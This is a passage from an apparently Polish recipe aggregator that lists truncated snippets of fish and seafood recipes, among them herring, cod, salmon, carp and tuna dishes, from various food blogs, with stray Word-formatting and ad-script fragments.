gramów matiasa to 16-22 g nienasyconych kwasów tłuszczowych Omega 3, 18 g białka, witaminy A, D, E, B6, żelazo, cynk, miedź, fosfor i jod. Należą one do tłustych ryb, w 100 g jest 222 kcal. Spośród wszystkich śledzi poławianych w Europie, tylko 3% kwalifikuje się do produkcji matiasów. Matias, śledź nad śledzie Aby śledzie mogły być sprzedawane

Kulinarne przygody Gatity
Dorsz w kolorowych warzywach 108

Delikatne, soczyste i niezwykle pachnące kawałki dorsza połączone z chrupiącymi warzywami, wyrazistym cytrusowym imbirem, orzeźwiającą limonką i słodkim miodem, podane z kolorowym makaronem to świetna propozycja lekkiego obiadu z rybą w roli głównej. Świetnie wygląda i obłędnie smakuje! Składniki: 300g polędwicy z dorsza 200g kolorowego makaronu 2 ząbki czosnku 1/2 cebuli 1 marchew 170g brokułu 1 mała papryka 1 papryczka

Szalona Kuchnia Eweliny
Orzeźwiająca sałatka z bottarga di muggine 155

Mój Mąż zamiast czekoladek kupuje mi „śmierdzącą rybę” a ja jestem zachwycona 😂 Uwielbiam bottargę i nie zamieniłabym jej na żadne czekoladki. I jest zwykle tylko moja, bo w domu nie ma innych amatorów.  Bottarga di muggine, czyli suszona ikra cefala, to tradycyjny sardyński przysmak.  Można ją kupić w sklepach w włoskimi produktami również w Polsce. W smaku przypomina

Cytryna&Co.
Śledzie po piracku 115

Kawałki ryby w towarzystwie niezwykle aromatycznej mieszanki warzyw to świetna propozycja dla fanów śledzika z papryką, marchwią, cebulą i ostrą papryką, które idealnie komponują się z nutą słodkości żurawiny. Ostro-słodkie śledzie to obowiązkowa pozycja imprezowego stołu. Składniki: 500g płatów śledziowych Matias 2 małe czerwona cebule 1 czerwona papryka 1 marchew 100g suszonej żurawiny Zalewa: 300ml oleju rzepakowego 1 łyżeczka

Szalona Kuchnia Eweliny
Makaron ze szpinakiem i łososiem 212

Składniki: ok. 300 g fileta z łososia 1 czerwona cebula 3 ząbki czosnku 150 g groszku mrożonego 120 g szpinaku 200 g ugotowanego makaronu pełnoziarnistego sól, pieprz przyprawa do ryb … Czytaj dalej Makaron ze szpinakiem i łososiem

czarrna od kuchni
Bowl burrito z łososiem 78

robić na patelni grillowej, ale jeśli jej nie masz smaż na normalnej z niewielką ilością oleju. Przygotuj patelnię grillową, dodaj na nią 1-2 łyżki oleju. Połóż na patelni rybę, plastry ananasa i kukurydzę. Jeśli masz dużą patelnię możesz robić wszystko jednocześnie. Grilluj aż: łosoś usmaży się z obu stron (około 7-9 minut łącznie), a na kukurydzy i ananasie

nietylkopasta.pl
Makaron z łososiem i zielonym pesto 103

soli oraz pieprzem do smaku. Na patelni rozgrzewamy 2 łyżki oliwy, wrzucamy na niego łososia i smażymy przez 2 minuty z jednej strony i kolejne 2 na drugiej. Upieczoną rybę ściągamy z patelni na talerz.   Do gorącego makaronu dodajemy pesto, kremówkę, liście szpinaku oraz startą skórkę z cytryny, wszystko dokładnie mieszamy po czym wlewamy tyle wody spod makaronu

Smaczna Strona
Sałatka ziemniaczana ze śledziem w śmietanie 166

śledziem w śmietanie to mój pomysł na pyszny lunch, obiad lub kolację. Jestem wielka fanką zarówno sałatek ziemniaczanych jak i śledzi. W ogóle uważam, ze połączenie ziemniaków z ryba jest zawsze pyszne, dlatego na blogu już wcześniej pokazywałam przepisy na Sałatkę ziemniaczana z makrelą , sałatkę ziemniaczana ze szprotkami , sałatkę ziemniaczana z łososiem . Dzisiaj ziemniaki, które idealnie wpasowują się w klasycznego

Dorota Smakuje
Szwedzkie śledzie marynowane - inlagd sill 108

Karnawał w pełni, a już niebawem Ostatki i tradycyjny śledzik. Te wszystkie okazje to idealny powód i moment, aby na naszym stole pojawił się śledź właśnie. Ta ryba cieszy się ogromną popularnością u nas i gości na naszych stołach nie tylko na Boże Narodzenie. Dziś chciałam się z Wami podzielić przepisem na szwedzkie śledzie marynowane - inlagd sill. Słyszałam już

Kulinarne przygody Gatity
Surówka z kiszonej kapusty(wersja 1) 110

bardzo prosty przepis na klasyczną surówkę z kiszonej kapusty Smaczna …łatwa …błyskawiczna do przygotowania …a do do tego pełna wartościowych witamin! Pasuje do pieczonych mięs lub ryb, kotletów, gulaszy, krokietów oraz klusek (np. pyz, klusek śląskich) .   Inne surówki… ** Surówka ze świeżych ogórków ** Surówka ze świeżych buraków ** Chińska surówka z białej kapusty   Składniki

Kulinarny S.O.S.
Surówka z kiszonej kapusty(wersja 1) 110

bardzo prosty przepis na klasyczną surówkę z kiszonej kapusty Smaczna …łatwa …błyskawiczna do przygotowania …a do do tego pełna wartościowych witamin! Pasuje do pieczonych mięs lub ryb, kotletów, gulaszy, krokietów oraz klusek (np. pyz, klusek śląskich) .   Inne surówki… ** Surówka ze świeżych ogórków ** Surówka ze świeżych buraków ** Chińska surówka z białej kapusty   Składniki

Kulinarne S.O.S.
Dorsz w sosie śmiatanowo-serowym 112

Dorsz w sosie śmiatanowo-serowym to pyszna i zdrowsza alternatywa dla dorsza smażonego w panierce. Tak przygotowana ryba jest bardzo aromatyczna, soczysta i pyszna. Użyj ulubionego sera, będzie jeszcze smaczniej. Łatwe do przygotowania danie i nie zajmie Ci wiele czasu. Napisałabym danie fit, ale dodatek żółtego sera niestety burzy ten wizerunek, wynagradza za to smakiem. Polecam

Gotuj zdrowo!Guten Appetit!
Krewetki w chrupiacej panierce 192

chrupiące, idealne. Wykorzystałam do niej przepis na panierkę do kurczaków kfc modyfikując delikatnie proporcje. Sama panierka jest uniwersalna, bo można ją wykorzystać oczywiście do nuggetsów z kurczaka czy panierowania ryby. Każda potrawa będzie pyszna i najważniejsze chrupiąca. Polecam. Czytaj więcej

Bernika - moj kulinarny pamietnik
Makaron z tuńczykiem w pomidorach 111

makaron z tuńczykiem z puszki Przygotowuje się go naprawdę ekspresowo. Dodatek ziół prowansalskich czy natki pietruszki świetnie podkręca smak tak zwykłego jedzenia. Dla lubujących się w wszelkiego rodzaju wydaniach ryb polecam zrobić takie jedzonko, jest bardzo smaczne! Składniki: * 20 – 30 dkg makaronu * 1 puszka tuńczyka w oleju * 1 mała cebulka * 2-3 ząbki czosnku * zioła prowansalskie * 1 puszka krojonych

Pieprzyć z Fantazją
Tajska zupa krewetkowa 145

wekować zupy ). W tamtym tygodniu zajadaliśmy się sajgonkami z sosem hoisin, ten tydzień rozpoczynamy od zupy krewetkowej z Tajlandii. Jeśli nie jesteście fanami owoców morza, krewetki możecie zastąpić mięsem ryby np łososia czy dorsza, też będzie pysznie! PRZEPIS TAJSKA ZUPA KREWETKOWA Składniki tajska zupa krewetkowa: 1,5 litra bulionu warzywnego 0,5 kg krewetek 50g ryżu jaśminowego 1 cebula

Dorota Smakuje
Szybkie szaszłyki z łososia i ananasa FIT 84

Uwielbiam tę formę podawania dań, gdyż na drewniane patyczki lub szpikulce do szaszłyków możemy nabić co tylko chcemy – od warzyw, przez mięso, a kończąc na owocach morza i rybach. Poza tym takie podanie zawsze prezentuje się bardzo estetycznie i największych niejadków zachęca do zjedzenia posiłków. Dzisiaj mam dla Was zestaw łososia z ananasem, który smakuje niezwykle wybornie. Spróbujcie również

Be Fit Be Strong
Filet z czarniaka w serowej panierce 95

pagination:widow-orphan; font-size:10.0pt; font-family:"Times New Roman"; mso-ansi-language:#0400; mso-fareast-language:#0400; mso-bidi-language:#0400;} Jedna z najsmaczniejszych (dla nas) ryb, otulona serową panierką. Składniki: 500 g filetów z czarniaka 6 łyżek mąki 2 jajka 1 szklanka startego parmezanu sól, pieprz  Przygotowanie: Normal 0 21 false false false MicrosoftInternetExplorer4 /* Style

R'n'G Kitchen
Karp świąteczny według Ewy Wachowicz 75

okazji zrobić go w ten sposób. Wcale nie żałuję. Zanim go obsmażymy, to wcześniej zostanie zamarynowany !Pyszności! Składniki: - 2 karpie - mąka - olej i masło do smażenia - cebula do przełożenia ryby Podziel oczyszczone karpie na dzwonka, na kawałki jakie lubisz. Włóż je do miski i przekładaj cebulą. Odstaw w chłodne miejsce na całą noc. W Wigilię zdejmij cebulę, dosmacz solą. Obtocz

Z Kuchni Do Kuchni
Roladki z tortilli 117

majonezem i tortillą, ale wszyscy je uwielbiają. Roladki rozejdą się w mgnieniu oka! Po trzecie: to znakomity sposób na dojedzenie produktów, które zostały po świętach. Lodówka pełna serów, ryb, majonezu i wędlin? Wiecie, co z nimi robić

Proste-przepisy.pl
Makaron z tuńczykiem w śmietanie 75

Cześć! Bardzo szybki w przygotowaniu obiad dla lubiących wszelkiego rodzaju ryby czy ich inne wydania. Składniki: * 1 puszka tuńczyka * 30 dkg makaronu * 150 ml śmietany 30% * 1 mała cebula * 3 ząbki czosnku * sól, pieprz- najlepiej świeżo zmielony * odrobina oliwy z oliwek * natka z pietruszki, bazylia Makaron ugotowałam wg przepisu na opakowaniu. Odsączyłam na patelnię zalewę z puszki z tuńczykiem

Pieprzyć z Fantazją
Łosoś pieczony w ziołach 84

nacieramy łososia. Odstawiamy na godzinkę do lodówki (można i dłużej) i pieczemy w 180 stopniach około 25 minut/ UWAGA 5 minut przed końcem pieczenia nakładamy wiórki masła. Tak upieczona ryba jest cudowna w smaku, pachnie ziołami i masłem. Po wyjęciu nacinamy dzwonka nożem i zdejmując ze skórki zajadamy. Share 0 Tweet 0 Pinterest 0 0 Shares

Latosiowydom
Śledzie z marynowaną cebulą 134

sumie jest to jeden z bardziej klasycznych przepisów, nazywany w moim domu rodzinnym śledziem po japońsku. Czemu? Nie mam zielonego pojęcia. Pewnie z Japonią ma tyle wspólnego co ryba po grecku z  Grecją. Jest to prostu śledź z cebulą zalany olejem. Natomiast w necie danie to pojawia się także z dodatkiem jajka, majonezu lub konserwowych ogórków. Widać ile domów

Kulinarne przygody Gatity
Ryby na Wigilię. Co zamiast karpia? (Ricette con il pesce per la Vigilia di Natale) 133

Jaka ryba zamiast karpia?" W ostatnich dniach dostałam kilka takich wiadomości. Wiem, że jest wiele osób, które nie przepadają za karpiem, wiele w tym ja, z powodu miejsca zamieszkania nie mają do niego dostępu. I co wtedy? Poni ż ej przygotowałam spis kilkunastu przepisów na rybne dania lub przekąski z wykorzystaniem łososia, tuńczyka, dorsza lub dorady. Znajdziecie również kilka

La grande e la piccola cuoca
Pikantne śledzie w migdałach z daktylami 119

roku przed jednymi z najbardziej rybnych świąt, dodaję kolejny przepis na śledzie, których jestem przeogromną fanką. Ryba, która na naszym rodzinnym stole zajmuje jedno z głównych miejsc. Tym razem w zupełnie nowej, nieco egzotycznej odsłonie z marokańskim tłem. Słodko-ostre i z charakterystycznym dla siebie rybnym posmakiem tworzą zaskakującą mieszankę tekstur, smaków i aromatu. Absolutnie przepyszne! :) Pikantna strona smaku rozgrzewa

Kuchnia w Słońcu Skąpana
ŚLEDZIE PO WĘGIERWSKU + FILMIK 120

pieprzem. Prużymy aż wszystko zmięknie. Następnie dodajemy paprykę konserwową i przecier, cukier i ocet. Mieszamy i chwilkę gotujemy na małym ogniu.  Warzywa studzimy, następnie dodajemy śledzie i mieszamy. Rybę z warzywami nakładamy do słoików i odkładamy w chłodne miejsce. Najsmaczniejsze są po tygodniu a przechowujemy do momentu aż zjemy

Kulinarne Fantazje Marioli
Karp pieczony w miodzie 103

musztardą posmakuje nawet tym, którzy za nim nie przepadają. Drugi plus przygotowanego w ten sposób karpia to spora oszczędność czasu podczas wieczerzy wigilijnej lub smakowity sposób na odgrzanie ryby na następny dzień. Karpia można obsmażyć wcześniej i dopiekać z pomadą miodowo-muszardową tuż przed podaniem

Gotuj zdrowo!Guten Appetit!
Śledzie z suszonymi śliwkami 131

Kawałki ryby w towarzystwie chrupiących kiszonych ogórków, wyrazistej cebulki, pachnącego jałowca i niezwykle aromatycznej suszonej śliwki z pewnością będą hitem imprezowego stołu i zadowolą fanów popularnego śledzika. Składniki: 600g płatów śledziowych Matias Marynata: 2 szklanki wody 1/2 szklanki cukru 3 liście laurowe 4 ziarna ziela angielskie 6 ziarna jałowca 1 szklanka octu 2 cebule Zalewa: 600g cebuli 200g suszonych śliwek

Szalona Kuchnia Eweliny
Śledzie z zielonym ogórkiem 84

nieobrane ogórki kroimy w cienkie plasterki. 3 Olej łączymy z octem, cukrem i pieprzem. 4 W słoiku dość ciasno układamy naprzemiennie śledzie, cebulę oraz ogórka aż do wyczerpania ryby pamiętając, aby na wierzchu był ogórek i cebula. Zawartość słoika zalewamy przygotowanym wcześniej olejem i pozostawiamy w lodówce na kilka dni. Życzę smacznego! Interesujesz się gotowaniem? Zapraszam no moją grupę

uDolores.pl - tylko sprawdzone przepisy
Śledź z żurawiną 119

stole, czyli śledź. U nas na Boże Narodzenie śledź występuje w różnych postaciach i smakach, bo bardzo go lubimy. Tym razem jest to śledź z żurawiną.  Lekko słonawa ryba przykryta kołderką z cebuli i żurawiny uduszonych w soku pomarańczy będzie idealnym daniem na wigilijny stół. Na blogu znajdziecie też inne pyszne przepisy na śledzie: Prawdziwy matias z cebulą, jabłkiem

Kulinarne przygody Gatity
Ryba w galarecie z jajkiem i warzywami 196

Pyszna ,mięciutka ryba,delikatna i dietetyczna,pięknie wygląda na stole i posmakuje każdemu-polecam

Swojskie jedzonko
Śledź w sosie musztardowym 132

łyżeczka octu lub soku z cytryny sól, czarny pieprz do smaku mleko do wymoczenia śledzi Sposób przygotowania: Filety śledziowe opłukać z oleju i zalać mlekiem, tak aby przykrywało rybę. Pozostawić przez około 1h. Spróbować czy nie są jeszcze za słone w razie potrzeby jeszcze wymoczyć. Odcedzić i osuszyć papierowymi ręcznikami. Obie musztardy, miód, sok z cytryny, maggi i olej mieszamy

Pyry na Gaz
Śledzie w jogurcie z bakaliami – pyszne 126

łyżki suszonej żurawiny kilka plasterków suszonych jabłek kilka plasterków suszonych gruszek 400g jogurtu greckiego 2 łyżki majonezu     Jak zrobić śledzie w jogurcie z bakaliami: Zaczynamy od ryby. Jeśli używamy śledzi solonych, zalewamy je zimną wodą i zostawiamy do namoczenia na jakieś 2-3 godziny, sprawdzając czy ich smak już nam odpowiada. Śledzie w oleju są gotowe do przygotowania

Dorota Smakuje
Kotlety rybne z wędzonej makreli 177

skórki, kroimy w drobną kostkę, wrzucamy na patelnię na rozgrzany olej i podsmażamy mieszając co jakiś czas aż stanie się szklista. Wrzucamy do miski z ryżem. Teraz czas na rybę – mięso obieramy z ości i wrzucamy do miski z ryżem. Następny krok to doprawianie – wrzucamy wszystkie przyprawy, startą marchewkę, mieszamy wszystko i doprawiamy do smaku. Potem wbijamy

Dorota Smakuje
Kotlety rybne z łososia 234

łososia. Pyszne, delikatne, idealne zarówno do zwykłych ziemniaków z wody, jak i frytek. To pyszny pomysł, nie tylko na piątkowy obiad, więc jeśli szukacie pomysłu na obiad z rybą The post Kotlety rybne z łososia appeared first on KulinarnePrzeboje.pl

Kulinarne Przeboje
Pstrąg łososiowy i frytki z batatów 150

Pstrąg łososiowy i frytki z batatów to bardzo szybki i zdrowy obiad. Zarówno frytki jak i rybę przygotujemy praktycznie bez tłuszczu. Danie będzie zdrowe i przede wszystkim bardzo smaczne. Kupcie w sklepie filet z pstrąga łososiowego to nie będziecie mieli ości i całość będzie przyjemniej jeść. Składniki filet z pstrąga łososiowego 1/2 cytryny sól pieprz 2 bataty oliwa z oliwek

Kulinarnyblog.pl - wiesz jak gotować!
Najlepsze przepisy na śledzie 112

wielu osób jest ulubionym posiłkiem w roku. Wiele osób ma ambiwalentny stosunek do śledzi. Kojarzą się z długim przygotowaniem i postnymi daniami. Kiedyś post trwał prawie przez pół roku. Ryba była na szczęście postna. Można też było jeść raki, ostrygi i nawet kaczki, W biedniejszych domach kończyło się często na śledziu. Jedzie Zapust na koniu- wywija po moście, Frasują się

Ugotowane pozamiatane
Ryba po grecku w cieście francuskim 167

Uwielbiam rybę po grecku i nie wyobrażam sobie bez niej świąt,tym razem trochę inaczej,zapieczona w cieście francuskim,pięknie się prezentuje na stole i można ją podać i na zimno i na ciepło-polecam

Swojskie jedzonko
Imprezowe dania na Andrzejki – przepisy 128

Bakłażany po kaszubsku Pieczywo na Andrzejki Chlebek naan Podpłomyki z solą i kuminem Chlebek włoski z pesto i botwinką Ślimaczki z musztardą i boczkiem – przekąska do piwa Tarta z rybą wędzoną Tarta z nadzieniem musztardowym Tarta z porem i słonecznikiem Tarta z grzybami suszonymi Tarta ze szpinakiem Przystawki, przekąski na Andrzejki Deska serów na imprezę Jaglane kotlety pieczarkowe pyszny przepis

Dorota Smakuje
Sałatki imprezowe – najlepsze przepisy 564

winogronami Sałatka hawajska Włoska sałatka z kurczakiem – Insalata di pollo Sałatka z kurczakiem Sałatka brokułowa z kurczakiem, kukurydzą i orzechami Sałatka z czerwoną pomarańczą i stekiem wołowym SAŁATKI Z RYBĄ – przepisy Kolorowa sałatka z tuńczykiem Sałatka warstwowa z tuńczykiem Włoska sałatka makaronowa z tuńczykiem i suszonymi pomidorami Szpinak z pieczoną dynią i łososiem Sałatka śledziowa z jabłkiem, burakiem

Dorota Smakuje
Zapiekane ziemniaczki podane z sałatka z tuńczyka 122

NONE X-NONE Tuńczyk – u nas zdania są podzielone. Jedno nie lubi, drugie uwielbia, ale tuńczyk podany w sałatce to coś co oboje chętnie zjemy. W końcu jest to ryba, która potrafi dobrze podkreślić smak warzyw, Zgodzicie się? Zapiekane ziemniaczki podane z sałatka z tuńczyka SKŁADNIKI DO SAŁATKI: - 140 g tuńczyka w oleju (puszka) - 300 g kukurydzy (puszka

Związek na patelni
Tarta łososiowa 115

Pyszne połączenie ryby i dodatków, które nadają i zapach i smak. Tak podana tarta zachwyci wszystkich smakoszy. A na Świąteczny stół… poezja! Co nam trzeba? opakowanie ciasta francuskiego 3 czubate łyżki pasty z suszonych pomidorów 200g sera mozzarella w wiórkach 2 łyżki posiekanych czarnych oliwek 200g wędzonego łososia żółtko jaja-roztrzepane czarnuszka- do posypania Robimy! Formę do tarty wyściełamy

Latosiowydom
Śledzie z suszonymi grzybami i ogórkiem konserwowym 140

Kawałki ryby w towarzystwie chrupiących konserwowych ogórków, wyrazistej cebulki niezwykle aromatycznych suszonych grzybów z pewnością będą hitem świątecznego stołu i zadowolą fanów popularnego śledzika. Składniki: 700g płatów śledziowych Matias w oleju 70g suszonych grzybów mix 8 ogórków konserwowych 4 cebule 8 łyżeczek koncentrat pomidorowego 4 łyżki oleju sól i pieprz Wykonanie: 1. Płaty śledziowe, odsączyć z nadmiaru oleju

Szalona Kuchnia Eweliny
Dietetyczny łosoś z musem jabłkowym 104

Chętnie sięgam po łososia, bo to ryba błyskawiczna do przygotowania, super smaczna i zdrowa. Dziś proponuję łososia upieczonego w piekarniku i podanego z winnym musem jabłkowym. Rybka jest soczysta i bardzo delikatna, a mus jabłkowy wyjątkowo dobrze komponuje się tu smakowo. Danie proste, dietetyczne zachwyciło mnie smakiem, dlatego bardzo polecam

Gotuj zdrowo!Guten Appetit!
Słodko-kwaśny gulasz z owocami morza 194

Składniki: 400 g mieszanki owoców morza 100 fileta z ulubionej ryby 1 puszka ananasa 1 puszka kukurydzy 1 czerwona papryka 2 cebule 1 słoiczek koncentratu pomidorowego (200 g) 1 łyżka … Czytaj dalej Słodko-kwaśny gulasz z owocami morza

czarrna od kuchni
Tarta z wędzonym łososiem i porem 124

upiec je wcześniej i nie martwić się, że nie zdążymy na określoną godzinę. Ta jesienna tarta z wędzonym łososiem i porem jest wyśmienita. Połączenie kruchego ciasta, słodkawych porów, słonawej ryby i aromatycznego koperku jest genialne w swojej prostocie. Może być popisowym daniem, a jest tak na prawdę bardzo prosta do przygotowania. Do tarty najlepiej sprawdzi się gruby kawałek łososia wędzonego

Poezja smaku
Salsa ze śledziem z kukurydzą i ananasem 137

śledziem w lekko słodkim sosie pomidorowym z cebulką, kukurydzą i ananasem. Pyszna przekąska nie tylko dla amatorów śledzi, to takie danie, które może posmakować tym co za tą rybą nie przepadają - smaki tu są tak dobrane, że śledź nie dominuje. Jak dla mnie idealne połączenie smaków - to mój ulubiony sposób na śledzia. 0 false

Smaczny zeszyt
Kanapkowa pasta z wędzonej makreli i czerwonej fasoli 119

pieprz do smaku Makrelę obrać ze skóry, wyjąć kręgosłup, podrobić mięso wyjmując z niego ości, przełożyć do miski. Fasolę przepłukać, odsączyć i rozgnieść widelcem na drobniejsze kawałki, dodać do ryby. Dodać jogurt, majonez, sok z cytryny i posiekany szczypiorek - całość dobrze wymieszać i doprawić solą i pieprzem

Smaczny zeszyt
Sałatka ziemniaczana z bobem i sardelami 97

Część z Was zastanawia się, co to są sardele. Sardela, to nic innego, jak ryba morska z rodziny sardelowatych. Przetwory z sardeli europejskiej nazywane są anchois (czyt. ãszua ) Co potrzeba: 4 średnie ziemniaki, 5 jajek ugotowanych na twardo, 4 średnie kiszone ogórki, 1 słoiczek bobu w oliwie (150g po odsączeniu), 1 słoiczek sardeli w oliwie (55g po odsączeniu), 2 czubate

Bułka z Chlebem
Surówka węgierska z kiszonej kapusty 127

Surówka węgierska z kiszonej kapusty Pikantna, delikatnie słodka za sprawą jabłka oraz lekko kwaśna od kapusty. Taka surówka to pyszny dodatek do ryby, do kotletów czy klopsów, a także do burgerów. Smaki świetnie się ze sobą komponują, jeżeli jednak chcemy uzyskać mniej pikantny efekt możemy zmniejszyć ilość papryczki chilli lub zastąpić ją całkowicie czerwoną papryką.     Składniki

Blog z Apetytem
Pstrōng ze sezamym (Pstrąg w sezamie) 86

Zdołwałoby sie, że niy ma barzi1 ajnfachowego2 dania, jak ryba we paniyrce, ale styknie3 dodać do ni jaki inkszy4 składnik i już mōmy blank5 nowy [...] Artykuł Pstrōng ze sezamym (Pstrąg w sezamie) pochodzi z serwisu Chop w kuchni

Chop w kuchni
Curry z dynią i łososiem 101

płaskie łyżki i dla nas ostrość dania jest w sam raz. Jeżeli wolicie wersję łagodniejszą polecam dać 1-1.5 płaskiej łyżki pasty. Curry jest wegeteriańskie (dla tych wegetarian, którzy ryby jadają). Jeśli pominiecie łososia otrzymacie wersję wegańską. Można także łososia zamienić na tofu. “ Curry z dynią i łososiem ” to moje ulubione jesienne danie na obiad lub kolację. Świetnie

Moja Delicja
Dorsz z karmelizowanymi jabłkami i sosem żurawinowym 118

Smaczny obiad z dorszem w roli głównej, zdrowy, pożywny posiłek dla całej rodziny. Wbrew pozorom obiad z rybą jest szybki i prosty do przygotowania. Dorsza podałam na skarmelizowanych jabłkach z sosem ze świeżej żurawiny. Danie jest pyszne i prezentuje się bardzo apetycznie. Zapraszam na dorsza w jesiennym wydaniu

Gotuj zdrowo!Guten Appetit!
Sałatka makaronowa z tuńczykiem i owocami 106

ansi-language:#0400; mso-fareast-language:#0400; mso-bidi-language:#0400;} Sałatkę makaronową z tuńczykiem robimy dość często, w wielu wariantach smakowych. Dodatek owoców przyjemnie komponuje się z rybą, a całość świetnie uzupełnia wegański majonez z mango i curry. Składniki: 250 g makaronu risoni 10 sztuk liczi 1 kiwano 1 mała puszka groszku 1 mała puszka kukurydzy 2 jajka

R'n'G Kitchen
Kalmary faszerowane boczkiem i ziemniakami 128

Osobiście uwielbiam owoce morza. Chociaż może bardziej ryby i skorupiaki, czasami zdarzy mi się sięgnąć także po kalmary. Ich tuby świetnie się nadają do faszerowania. Tak i było tym razem. Popełniłam mały mezalians, gdyż do środka trafiły.. ziemniaki i boczek. Jeśli chodzi o kalmary polecam także spróbować  kalmary z olivadą . Składniki (4 porcje) -4 duże ka kalmary (tuby

Zielona Kuchnia
dorsz atlantycki z patelni z ziemniakami na obiad... 130

osolonej wodzie, po ugotowaniu odlać z wody i na ogniu postawić garnek na chwilę aby odparować. Ogórki zetrzeć na tarce, wymieszać z cukrem, solą, pieprzem, octem jabłkowym, koperkiem, śmietaną. Rybę podać z ziemniakami, pomidorem, można ziemniaki polać tłuszczem po smażeniu, posypać koperkiem - filety z dorsza atlantyckiego smażone i podane ziemniakami, mizerią są najlepszym nie tylko postnym obiadem........SMACZNEGO

W Mojej Kuchni Lubię
Sałatka z wędzonym pstrągiem 116

hansi-theme-font:minor-latin; mso-bidi-font-family:"Times New Roman"; mso-bidi-theme-font:minor-bidi; mso-fareast-language:EN-US;} Jajko gotujemy na twardo  Rybę rozdzielamy na mniejsze kawałki. Rukolę myjemy i odsączamy z wody. Paprykę myjemy i kroimy w paseczki. To samo robimy z cebulą. Pomidorki kroimy na pół. Tak przygotowane składniki delikatnie łączymy

I LOVE LIFE
Sałatka z sosem miodowo- musztardowym 267

Sałatka z sosem miodowo- musztardowym jest bardzo szybka w wykonaniu i smakuje obłędnie. Idealne połączenie musztardy i miodu nada jej odpowiedniego charakteru. Taka sałatka świetnie sprawdzi

Kulinarnyblog.pl - wiesz jak gotować!
Błyskawiczna zupa krem z ziemniaka z wędzonym łososiem i koperkiem 77

gotujemy około 9 minut, od czasu do czasu mieszając. Następnie do zupy dodajemy pokrojonego na kawałki łososia i za pomocą blendera ręcznego „żyrafy” rozdrabniamy ziemniaka i rybę. Następnie dodajemy posiekany koperek i gotujemy jeszcze minutę, mieszając. Smacznego! Przepis na Thermomix: 1. Do naczynia miksującego wlewamy mleko, dodajemy śmietanę, koncentrat pomidorowy, koncentrat bulionu warzywnego i ziemniaka, rozdrabniamy 5 s/obr

Be Fit Be Strong
Kasza gryczana z dynią, szarą renetą i kerguleną 92

pół małej cukinii  250 g dyni hokkaido  1 szara reneta 1 mała marchew 1/2 małego selera natka pietruszki  wędzona kergulena, lub inna niezbyt intensywna wędzona ryba Kaszą gryczaną gotuję w wodzie wg przepisu na opakowaniu. Warzywa kroję w kostkę lub półplastry, dowolnie. Cebulę siekam drobno. Na rozgrzanym oleju rzepakowym smażę cebulkę oraz pokrojone warzywa: dynię, cukinię, marchew

Mango Papaja
Pieczony pstrąg z warzywami 636

Pieczony pstrąg z warzywami z piekarnika – pyszna propozycja nie tylko na piątkowy obiad. Ryba z tego przepisu wychodzi smaczna i soczysta, a plusem jest to, że za jednym pieczeniem mamy również dodatek pysznych pieczonych warzyw. Jeśli tylko c The post Pieczony pstrąg z warzywami appeared first on KulinarnePrzeboje.pl

Kulinarne Przeboje
Penne w sosie pomidorowym z marchewką, imbirem i miętą, w towarzystwie dorsza pod pierzynką z parmezanu 86

jedna z moich ulubionych wariacji na temat salsy pomidorowej. Sos ten można śmiało stosować nie tylko do makaronu, ale również do duszenia ryb, mięs czy jako zupa krem z groszkiem ptysiowym czy grzankami. Sos jest lekki, aromatyczny z nutą słodyczy. Imbir i mięta znakomicie odświeżają danie. Idealne danie dla dzieci. sporo w nim ukryjesz ;-)  A samo danie? Pyszne, lekkie

Z Kuchni Do Kuchni
Łosoś w warzywach 111

osób na dietach lekkostrawnych i śródziemnomorskich, semi-wegetarian, fleksiwegetarian, rybolubnych. Delikatne, rozpływające się w ustach warzywa wolno duszone z filetami łososia, dodanymi już w ostatniej chwili, tak by ryba nie rozgotowała się i zachowała jędrność. Łosoś w warzywach świetnie smakuje zjedzony z pieczywem ale równie dobrze z ziemniakami z wody lub puree albo z ryżem czy kaszą ( komponuje się

Dorota Smakuje
Klopsiki z dorsza z cukinią i fasolką w sosie 131

łyżka masła 1 łyżka maki pszennej 1 żółtko 250 ml mleka 2 łyżki octu winnego sól Klopsy: Fasolkę obieram, kroję na trzy części i gotuję aldente w osolonej wodzie. Rybę, cebulę, czosnek mielę maszynką do mięsa. Do mięsa dodaję jajko, kaszkę, sól, pieprz, majeranek, koperek. Całość mieszam i dokładnie wyrabiam. Formuję nieduże klopsy. Obtaczam w mące i układam na desce

wesoła kuchnia
Zapiekanka warzywna z tuńczykiem i serem 86

Najlepiej użyć swoich ulubionych, bo wtedy przynajmniej będzie pewność, że będzie smakowało. To samo tyczy się rodzaju białka, nie musi to być tuńczyk, a możecie użyć mięsa czy innej ryby. Dodatkowo ryż, który występuje w mojej wersji możecie zamienić np. na makaron czy kaszę. Jedno się nie zmienia-ser! W każdej wersji musi znaleźć się obowiązkowo. 😀 (adsbygoogle = window.adsbygoogle || []).push({}); Zapraszam

zdrowo i aktywnie
Pieczony łosoś z sałatą rzymską i pomidorkami 144

Pieczony łosoś z sałatą rzymską i pomidorkami to idealne połączenie ryby i szybkiej bardzo prostej sałatki. Do sałatki wykorzystamy sałatę rzymską, która nie jest aż tak popularna jak sałata masłowa. Nasz łosoś będzie przygotowany bardzo klasycznie … Składniki (2 porcje) filet z łososia (ok. 300g) 1 sałata rzymska pomidorki koktajlowe sól pieprz olej z pestek dyni pestki dyni Pieczony łosoś

Kulinarnyblog.pl - wiesz jak gotować!
Grillowany bakłażan z pikantną pastą z makreli 114

szklimy na maśle z olejem. Marchew ścieramy na tarce i dodajemy do cebuli. Dusimy aż marchewka zmięknie. Dodajemy koncentrat pomidorowy – miksujemy wszystko by warzywa bardziej się rozdrobniły. Dodajemy rybę oddzieloną od ości oraz przyprawy, mieszamy. Doprawiamy do smaku. NBkłażana myjemy i kroimy w dość grube plastry. Plastry bakłażana grillujemy przez kilka chwil dosłownie na grillu tradycyjnym lub elektrycznym

Dorota Smakuje
Kostka z dorsza w sosie jogurtowym 199

Składniki: 3 kostki dorsza czerniaka 1 mały por kawałek papryki 1 jogurt naturalny 1 ząbek czosnku 1 mini papryczka chili suszona jarzynka pieprz przyprawa do ryb Przygotowanie: Pora posiekać, paprykę … Czytaj dalej Kostka z dorsza w sosie jogurtowym

czarrna od kuchni
Łososiowy zawrót głowy 117

Ryby na moim stole muszą być i basta, nie tylko dla zdrowia i zbilansowania posiłków, ale też dlatego, że bardzo je lubię. Goszcząc nad morzem, żyję przeważnie gładzicą i halibutem

Na moim stole
Andruty z wędzonym pstrągiem 115

